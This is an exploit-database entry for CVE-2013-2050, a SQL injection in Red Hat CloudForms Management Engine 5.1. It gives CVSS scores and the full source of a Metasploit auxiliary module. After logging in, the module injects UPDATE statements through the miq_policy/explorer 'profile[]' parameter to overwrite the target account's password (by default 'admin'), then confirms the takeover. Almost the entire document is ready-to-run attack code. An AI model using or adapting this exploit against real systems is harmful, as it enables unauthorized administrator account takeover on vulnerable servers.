Red Hat CloudForms Management Engine 5.1 miq_policy/explorer SQL Injection

2013.12.28
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'bcrypt' require 'digest' require 'openssl' class Metasploit4 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize super( 'Name' => 'Red Hat CloudForms Management Engine 5.1 miq_policy/explorer SQL Injection', 'Description' => %q{ This module exploits a SQL injection vulnerability in the "explorer" action of "miq_policy" controller of the Red Hat CloudForms Management Engine 5.1 (ManageIQ Enterprise Virtualization Manager 5.0 and earlier) by changing the password of the target account to the specified password. }, 'Author' => 'Ramon de C Valle', 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2013-2050'], ['CWE', '89'], ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=959062'] ], 'DefaultOptions' => { 'SSL' => true }, 'DisclosureDate' => 'Nov 12 2013' ) register_options( [ Opt::RPORT(443), OptString.new('USERNAME', [true, 'Your username']), OptString.new('PASSWORD', [true, 'Your password']), OptString.new('TARGETUSERNAME', [true, 'The username of the target account', 'admin']), OptString.new('TARGETPASSWORD', [true, 'The password of the target account', 'smartvm']), OptString.new('TARGETURI', [ true, 'The path to the application', '/']), OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ]) ], self.class ) end def password_for_newer_schema # Newer versions use ActiveModel's SecurePassword. BCrypt::Password.create(datastore['TARGETPASSWORD']) end def password_for_older_schema # Older versions use ManageIQ's MiqPassword. if datastore['TARGETPASSWORD'].empty? 'v1:{}' else password = '1234567890123456' salt = '6543210987654321' cipher = OpenSSL::Cipher.new('AES-256-CBC') cipher.encrypt cipher.key = Digest::SHA256.digest("#{salt}#{password}")[0...32] encrypted = cipher.update(datastore['TARGETPASSWORD']) + cipher.final "v1:{#{Rex::Text.encode_base64(encrypted)}}" end end def password_reset? print_status("Trying to log into #{target_url('dashboard')} using the target account...") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'), 'vars_post' => { 'user_name' => datastore['TARGETUSERNAME'], 'user_password' => datastore['TARGETPASSWORD'] } ) if res.nil? print_error('No response from remote host') return false end if res.body =~ /"Error: (.*)"/ print_error($1) false else true end end def run print_status("Logging into #{target_url('dashboard')}...") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'dashboard', 'authenticate'), 'vars_post' => { 'user_name' => datastore['USERNAME'], 'user_password' => datastore['PASSWORD'] } ) if res.nil? print_error('No response from remote host') return end if res.body =~ /"Error: (.*)"/ print_error($1) return else session = $1 if res.headers['Set-Cookie'] =~ /_vmdb_session=(\h*)/ if session.nil? print_error('Failed to retrieve the current session id') return end end # Newer versions don't accept POST requests. print_status("Sending password-reset request to #{target_url('miq_policy', 'explorer')}...") send_request_cgi( 'cookie' => "_vmdb_session=#{session}", 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'), 'vars_get' => { 'profile[]' => value_for_newer_schema } ) if password_reset? print_good('Password reset successfully') return else print_error('Failed to reset password') end print_status("Sending (older-schema) password-reset request to #{target_url('miq_policy', 'explorer')}...") send_request_cgi( 'cookie' => "_vmdb_session=#{session}", 'method' => datastore['HTTP_METHOD'], 'uri' => normalize_uri(target_uri.path, 'miq_policy', 'explorer'), "vars_#{datastore['HTTP_METHOD'].downcase}" => { 'profile[]' => value_for_older_schema } ) if password_reset? print_good('Password reset successfully') else print_error('Failed to reset password') end end def target_url(*args) (ssl ? 'https' : 'http') + if rport.to_i == 80 || rport.to_i == 443 "://#{vhost}" else "://#{vhost}:#{rport}" end + normalize_uri(target_uri.path, *args) end def value_for_newer_schema "1 = 1); UPDATE users SET password_digest = '#{password_for_newer_schema}' WHERE userid = '#{datastore['TARGETUSERNAME']}' --" end def value_for_older_schema "1 = 1); UPDATE users SET password = '#{password_for_older_schema}' WHERE userid = '#{datastore['TARGETUSERNAME']}' --" end end

References:

http://cxsecurity.com/issue/WLB-2013120160


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